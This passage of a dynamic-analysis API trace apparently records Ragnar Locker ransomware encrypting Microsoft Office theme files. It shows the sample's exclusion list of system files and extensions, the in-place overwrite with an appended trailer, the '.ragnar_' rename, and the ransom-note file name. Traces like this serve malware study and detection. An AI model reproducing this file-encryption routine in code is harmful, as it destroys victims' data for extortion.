lpString2=".msi") returned 1 [0093.565] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0093.565] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0093.565] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\concourse.xml")) returned 0x20 [0093.565] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\concourse.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0093.565] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=964) returned 1 [0093.565] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3bb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.565] GetProcessHeap () returned 0x580000 [0093.565] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.565] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.567] VirtualAlloc (lpAddress=0x0, dwSize=0x3c4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.567] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.567] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.567] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3c4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3c4, lpOverlapped=0x0) returned 1 [0093.567] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.567] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3c4, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.567] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3c4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3c4, lpOverlapped=0x0) returned 1 [0093.567] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3c4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.567] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.568] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.568] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.568] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.568] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.568] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.568] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.568] GetProcessHeap () returned 0x580000 [0093.568] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.568] CloseHandle (hObject=0x10c) returned 1 [0093.568] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml" [0093.568] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml.ragnar_FD7BD9FC" [0093.568] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\concourse.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\concourse.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.569] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12c23400, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x12c23400, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Couture.xml", cAlternateFileName="")) returned 1 [0093.569] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x49 [0093.569] lstrcpyW (in: lpString1=0x1eb64c, lpString2="Couture.xml" | out: lpString1="Couture.xml") returned="Couture.xml" [0093.569] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml") returned=".xml" [0093.569] lstrcmpiW (lpString1="Couture.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.569] lstrcmpiW (lpString1="Couture.xml", lpString2="autorun.inf") returned 1 [0093.569] lstrcmpiW (lpString1="Couture.xml", lpString2="boot.ini") returned 1 [0093.569] lstrcmpiW (lpString1="Couture.xml", lpString2="bootfont.bin") returned 1 [0093.569] lstrcmpiW (lpString1="Couture.xml", lpString2="bootsect.bak") returned 1 [0093.569] lstrcmpiW (lpString1="Couture.xml", lpString2="bootmgr") returned 1 [0093.569] lstrcmpiW (lpString1="Couture.xml", lpString2="bootmgr.efi") returned 1 [0093.569] lstrcmpiW (lpString1="Couture.xml", lpString2="bootmgfw.efi") returned 1 [0093.569] lstrcmpiW (lpString1="Couture.xml", lpString2="desktop.ini") returned -1 [0093.569] lstrcmpiW (lpString1="Couture.xml", lpString2="iconcache.db") returned -1 [0093.569] lstrcmpiW (lpString1="Couture.xml", lpString2="ntldr") returned -1 [0093.569] lstrcmpiW (lpString1="Couture.xml", lpString2="ntuser.dat") returned -1 [0093.569] lstrcmpiW (lpString1="Couture.xml", lpString2="ntuser.dat.log") returned -1 [0093.569] lstrcmpiW (lpString1="Couture.xml", lpString2="ntuser.ini") returned -1 [0093.569] lstrcmpiW (lpString1="Couture.xml", lpString2="thumbs.db") returned -1 [0093.569] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0093.570] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0093.570] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0093.570] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0093.570] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0093.570] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0093.570] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0093.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\couture.xml")) returned 0x20 [0093.570] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\couture.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0093.571] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=962) returned 1 [0093.571] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3b9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.571] GetProcessHeap () returned 0x580000 [0093.571] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.571] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.573] VirtualAlloc (lpAddress=0x0, dwSize=0x3c2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.573] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.573] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.573] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3c2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3c2, lpOverlapped=0x0) returned 1 [0093.573] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.573] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3c2, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.573] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3c2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3c2, lpOverlapped=0x0) returned 1 [0093.573] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3c2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.573] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.573] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3c2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.574] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.574] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.574] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.574] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.574] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.574] GetProcessHeap () returned 0x580000 [0093.574] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.574] CloseHandle (hObject=0x10c) returned 1 [0093.574] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml" [0093.574] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml.ragnar_FD7BD9FC" [0093.574] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\couture.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\couture.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.575] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15248e00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15248e00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Elemental.xml", cAlternateFileName="ELEMEN~1.XML")) returned 1 [0093.575] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x49 [0093.575] lstrcpyW (in: lpString1=0x1eb64c, lpString2="Elemental.xml" | out: lpString1="Elemental.xml") returned="Elemental.xml" [0093.575] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml") returned=".xml" [0093.575] lstrcmpiW (lpString1="Elemental.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.575] lstrcmpiW (lpString1="Elemental.xml", lpString2="autorun.inf") returned 1 [0093.575] lstrcmpiW (lpString1="Elemental.xml", lpString2="boot.ini") returned 1 [0093.575] lstrcmpiW (lpString1="Elemental.xml", lpString2="bootfont.bin") returned 1 [0093.575] lstrcmpiW (lpString1="Elemental.xml", lpString2="bootsect.bak") returned 1 [0093.575] lstrcmpiW (lpString1="Elemental.xml", lpString2="bootmgr") returned 1 [0093.575] lstrcmpiW (lpString1="Elemental.xml", lpString2="bootmgr.efi") returned 1 [0093.575] lstrcmpiW (lpString1="Elemental.xml", lpString2="bootmgfw.efi") returned 1 [0093.575] lstrcmpiW (lpString1="Elemental.xml", lpString2="desktop.ini") returned 1 [0093.575] lstrcmpiW (lpString1="Elemental.xml", lpString2="iconcache.db") returned -1 [0093.575] lstrcmpiW (lpString1="Elemental.xml", lpString2="ntldr") returned -1 [0093.575] lstrcmpiW (lpString1="Elemental.xml", lpString2="ntuser.dat") returned -1 [0093.576] lstrcmpiW (lpString1="Elemental.xml", lpString2="ntuser.dat.log") returned -1 [0093.576] lstrcmpiW (lpString1="Elemental.xml", lpString2="ntuser.ini") returned -1 [0093.576] lstrcmpiW (lpString1="Elemental.xml", lpString2="thumbs.db") returned -1 [0093.576] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0093.576] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0093.576] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0093.576] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0093.576] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0093.576] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0093.576] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0093.576] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\elemental.xml")) returned 0x20 [0093.576] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\elemental.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0093.576] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=964) returned 1 [0093.576] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3bb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.576] GetProcessHeap () returned 0x580000 [0093.576] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.577] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.578] VirtualAlloc (lpAddress=0x0, dwSize=0x3c4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.578] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.578] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.578] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3c4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3c4, lpOverlapped=0x0) returned 1 [0093.578] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.578] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3c4, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.578] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3c4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3c4, lpOverlapped=0x0) returned 1 [0093.579] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3c4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.579] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.579] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.579] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.579] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.579] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.579] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.579] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.579] GetProcessHeap () returned 0x580000 [0093.579] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.579] CloseHandle (hObject=0x10c) returned 1 [0093.579] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml" [0093.579] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml.ragnar_FD7BD9FC" [0093.579] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\elemental.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\elemental.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.581] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0301b00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0301b00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Equity.xml", cAlternateFileName="")) returned 1 [0093.581] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x49 [0093.581] lstrcpyW (in: lpString1=0x1eb64c, lpString2="Equity.xml" | out: lpString1="Equity.xml") returned="Equity.xml" [0093.581] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml") returned=".xml" [0093.581] lstrcmpiW (lpString1="Equity.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.581] lstrcmpiW (lpString1="Equity.xml", lpString2="autorun.inf") returned 1 [0093.581] lstrcmpiW (lpString1="Equity.xml", lpString2="boot.ini") returned 1 [0093.581] lstrcmpiW (lpString1="Equity.xml", lpString2="bootfont.bin") returned 1 [0093.581] lstrcmpiW (lpString1="Equity.xml", lpString2="bootsect.bak") returned 1 [0093.581] lstrcmpiW (lpString1="Equity.xml", lpString2="bootmgr") returned 1 [0093.581] lstrcmpiW (lpString1="Equity.xml", lpString2="bootmgr.efi") returned 1 [0093.581] lstrcmpiW (lpString1="Equity.xml", lpString2="bootmgfw.efi") returned 1 [0093.581] lstrcmpiW (lpString1="Equity.xml", lpString2="desktop.ini") returned 1 [0093.582] lstrcmpiW (lpString1="Equity.xml", lpString2="iconcache.db") returned -1 [0093.582] lstrcmpiW (lpString1="Equity.xml", lpString2="ntldr") returned -1 [0093.582] lstrcmpiW (lpString1="Equity.xml", lpString2="ntuser.dat") returned -1 [0093.582] lstrcmpiW (lpString1="Equity.xml", lpString2="ntuser.dat.log") returned -1 [0093.582] lstrcmpiW (lpString1="Equity.xml", lpString2="ntuser.ini") returned -1 [0093.582] lstrcmpiW (lpString1="Equity.xml", lpString2="thumbs.db") returned -1 [0093.582] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0093.582] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0093.582] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0093.582] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0093.582] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0093.582] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0093.582] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0093.582] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\equity.xml")) returned 0x20 [0093.582] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\equity.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0093.582] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=961) returned 1 [0093.582] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.582] GetProcessHeap () returned 0x580000 [0093.583] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.583] ReadFile (in: 